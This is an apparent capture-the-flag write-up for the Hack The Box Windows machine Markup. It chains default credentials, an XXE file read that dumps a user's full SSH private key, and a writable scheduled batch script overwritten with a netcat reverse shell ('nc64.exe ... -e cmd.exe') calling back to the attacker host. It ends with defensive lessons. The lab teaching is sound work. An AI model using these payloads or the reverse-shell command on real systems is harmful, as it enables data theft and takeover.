~/writeups_
Hack The BoxEasyWindows

Markup

A MegaShopping web app accepts weak default credentials and parses user-supplied XML without protection, so an XXE payload reads arbitrary files from the host — including Daniel's SSH private key, which gives a foothold over SSH. A scheduled batch script, job.bat, is world-writable, so overwriting it with a netcat reverse-shell command and waiting for the task to fire returns a shell as Administrator.

TL;DR

Markup is an Easy-difficulty Windows machine exploring XML External Entity (XXE) injection, insecure file permissions, and a misconfigured scheduled task. A MegaShopping web application accepts weak default credentials and parses user-supplied XML without protection, letting an XXE payload read arbitrary files from the host — including Daniel’s SSH private key, which grants a foothold over SSH. For privilege escalation, a scheduled batch script (job.bat) is world-writable, so overwriting it with a netcat reverse-shell command and waiting for the task to fire returns a shell as Administrator.

MachineOSDifficultyTarget IPPwnbox IP
MarkupWindowsEasy10.129.95.19210.10.15.144

Enumeration

We begin with a service and script scan against the target:

Terminal window
nmap -sCV 10.129.95.192

The scan returns SSH on 22 and HTTP/HTTPS on 80 and 443, all served from a Windows host:

Terminal window
Starting Nmap 7.95 ( https://nmap.org ) at 2026-11-11 04:04 EST
Nmap scan report for 10.129.95.192
Host is up (0.091s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH for_Windows_8.1 (protocol 2.0)
| ssh-hostkey:
| 3072 9f:a0:f7:8c:c6:e2:a4:bd:71:87:68:82:3e:5d:b7:9f (RSA)
| 256 90:7d:96:a9:6e:9e:4d:40:94:e7:bb:55:eb:b3:0b:97 (ECDSA)
|_ 256 f9:10:eb:76:d4:6d:4f:3e:17:f3:93:d6:0b:8c:4b:81 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Win64) OpenSSL/1.1.1c PHP/7.2.28)
|_http-title: MegaShopping
|_http-server-header: Apache/2.4.41 (Win64) OpenSSL/1.1.1c PHP/7.2.28
443/tcp open ssl/http Apache httpd 2.4.41 ((Win64) OpenSSL/1.1.1c PHP/7.2.28)
|_http-title: MegaShopping
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after: 2019-11-08T23:48:47
|_http-server-header: Apache/2.4.41 (Win64) OpenSSL/1.1.1c PHP/7.2.28
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 30.57 seconds

We open the web application at http://10.129.95.192 and are greeted by a MegaShopping login page:

IMG-Markup

Foothold

Logging in with default credentials

Trying a handful of common username/password combinations, the weak default pair admin / password is accepted, and we land on the store dashboard:

IMG-Markup-1

Finding the XML endpoint

Exploring the site, the Order tab accepts user input. Viewing the page source shows the order is submitted as an XML 1.0 document:

IMG-Markup-2

A form that parses user-supplied XML is a prime candidate for XXE injection. We intercept an order submission in Burp Suite and see the POST to process.php carries an XML body:

<?xml version = "1.0"?><order><quantity>1</quantity><item>Home Appliances</item><address>test address</address></order>

Confirming XXE

We send the request to Burp’s Repeater and replace the body with a payload that declares an external entity pointing at a known Windows file, then references it inside the item field:

<?xml version = "1.0"?>
<!DOCTYPE root [ <!ENTITY xxe SYSTEM 'file:///c:/windows/win.ini'> ]>
<order><quantity>1</quantity><item>&xxe;</item><address>test address</address></order>

The response echoes the contents of win.ini back to us, confirming the XML parser resolves external entities:

Terminal window
Your order for ; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
[Ports]
COM1:=9600,n,8,1
has been processed

Reading Daniel’s SSH key

We could read files endlessly, but we need a lead on a useful target. The order page’s source contains a developer comment naming a user:

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Goods & Services</title>
<!-- Modified by Daniel : UI-Fix-9092-->
<style>
[SKIP]

There is likely a user named Daniel, and since port 22 is open, his SSH private key is worth trying. We point the external entity at Daniel’s id_rsa:

<?xml version = "1.0"?>
<!DOCTYPE root [ <!ENTITY xxe SYSTEM 'file:///c:/users/daniel/.ssh/id_rsa'> ]>
<order><quantity>1</quantity><item>&xxe;</item><address>test address</address></order>

The response returns the full private key:

Terminal window
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----

User

We save the key to a file named id_rsa on the Pwnbox and tighten its permissions, which SSH requires:

Terminal window
chmod 600 id_rsa

Then we authenticate as daniel using the key:

Terminal window
ssh -i id_rsa daniel@10.129.95.192

We land a shell on the target:

Terminal window
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.
daniel@MARKUP C:\Users\daniel>

The user flag is on Daniel’s Desktop:

Terminal window
type Desktop\user.txt
Terminal window
032*****************************

Privilege Escalation

A non-standard directory

Listing the root of C:\, a non-standard Log-Management folder stands out alongside the usual Windows directories:

Terminal window
daniel@MARKUP C:\>dir
Volume in drive C has no label.
Volume Serial Number is BA76-B4E3
Directory of C:\
03/12/2020 02:56 AM <DIR> Log-Management
09/14/2018 11:12 PM <DIR> PerfLogs
07/28/2021 01:01 AM <DIR> Program Files
09/14/2018 11:21 PM <DIR> Program Files (x86)
07/28/2021 02:38 AM 0 Recovery.txt
03/05/2020 04:40 AM <DIR> Users
07/28/2021 01:16 AM <DIR> Windows
03/05/2020 09:15 AM <DIR> xampp
1 File(s) 0 bytes
7 Dir(s) 7,386,722,304 bytes free

Inside it is a single batch script, job.bat:

Terminal window
daniel@MARKUP C:\>dir Log-Management
Volume in drive C has no label.
Volume Serial Number is BA76-B4E3
Directory of C:\Log-Management
03/12/2020 02:56 AM <DIR> .
03/12/2020 02:56 AM <DIR> ..
03/06/2020 01:42 AM 346 job.bat
1 File(s) 346 bytes
2 Dir(s) 7,386,722,304 bytes free

Inspecting the scheduled script

We read the contents of the script:

Terminal window
type Log-Management\job.bat
Terminal window
@echo off
FOR /F "tokens=1,2*" %%V IN ('bcdedit') DO SET adminTest=%%V
IF (%adminTest%)==(Access) goto noAdmin
for /F "tokens=*" %%G in ('wevtutil.exe el') DO (call :do_clear "%%G")
echo.
echo Event Logs have been cleared!
goto theEnd
:do_clear
wevtutil.exe cl %1
goto :eof
:noAdmin
echo You must run this script as an Administrator!
:theEnd
exit

The script checks for Administrator privileges, enumerates every Windows Event Log, and clears each one. The Administrator check tells us it is intended to run as an elevated user — a strong hint that it runs as a scheduled task.

Confirming the task runs

schtasks reveals nothing at our privilege level (INFO: There are no scheduled tasks presently available at your access level.), so we drop into PowerShell:

Terminal window
powershell

Running ps and looking for the helper the script invokes (wevtutil) confirms it is actively running — evidence the batch file is being executed on a schedule:

Terminal window
[SKIP]
209 12 1960 9716 3728 1 taskhostw
167 11 2924 10724 1668 0 VGAuthService
138 10 2316 8124 1084 1 vm3dservice
364 22 9088 21208 1632 0 vmtoolsd
32 4 516 1596 3544 1 wevtutil
170 11 1440 6944 480 0 wininit
259 12 2432 11372 544 1 winlogon
315 15 7236 16428 2932 0 WmiPrvSE

Checking the script’s permissions

We exit PowerShell and inspect the ACL on job.bat:

Terminal window
icacls job.bat
Terminal window
job.bat BUILTIN\Users:(F)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)
Successfully processed 1 files; Failed processing 0 files

BUILTIN\Users:(F) grants the Users group Full control. Since Daniel is a member of Users, he can overwrite the script — and because the task runs as Administrator, whatever we write will run with those privileges.

Weaponizing the script

We need a netcat binary on the target. The box has no internet access, so we download nc64.exe on the Pwnbox and copy it over with scp (the SSH key still works):

Terminal window
wget https://github.com/int0x33/nc.exe/raw/refs/heads/master/nc64.exe
scp -i id_rsa ./nc64.exe daniel@10.129.95.192:"C:/Log-Management"

Back in Daniel’s shell, dir confirms nc64.exe is in place. We start a listener on the Pwnbox:

Terminal window
nc -lvnp 9001

Then we overwrite job.bat with a command that fires a reverse shell back to us:

Terminal window
echo "C:\Log-Management\nc64.exe 10.10.15.144 9001 -e cmd.exe" > C:\Log-Management\job.bat

Catching the Administrator shell

When the scheduled task next fires, it executes our modified script and connects back. The listener catches a shell running as Administrator, and we read the root flag:

Terminal window
type C:\Users\Administrator\Desktop\root.txt
Terminal window
f57*****************************
Rooted

Default creds admin / password log into MegaShopping → the Order form parses user XML → XXE reads c:/users/daniel/.ssh/id_rsa → SSH in as daniel → world-writable scheduled script C:\Log-Management\job.bat → overwrite it with an nc64.exe reverse shell → task runs it as Administrator.

Lessons Learned

  • Disable external entities in XML parsers. The Order endpoint parsed user-supplied XML with entity resolution enabled, so a crafted <!ENTITY ... SYSTEM 'file:///...'> read arbitrary files, including an SSH private key. Configure parsers to reject DOCTYPE declarations and external entities, and validate input against a strict schema.
  • Never ship default or guessable credentials. admin / password opened the application outright. Force a credential change on first use, enforce password strength, and rate-limit or lock out repeated login attempts.
  • Lock down permissions on scheduled scripts. job.bat ran as Administrator but was writable by all Users, turning a routine log-clearing task into a privilege-escalation path. Scripts executed by privileged scheduled tasks should be writable only by administrators, and ideally stored outside user-accessible paths.
  • Protect private keys. Daniel’s SSH key sat at a predictable path and was readable through the file-disclosure bug. Keep keys off web-reachable hosts where arbitrary read is possible, protect them with a passphrase, and rotate any key that may have been exposed.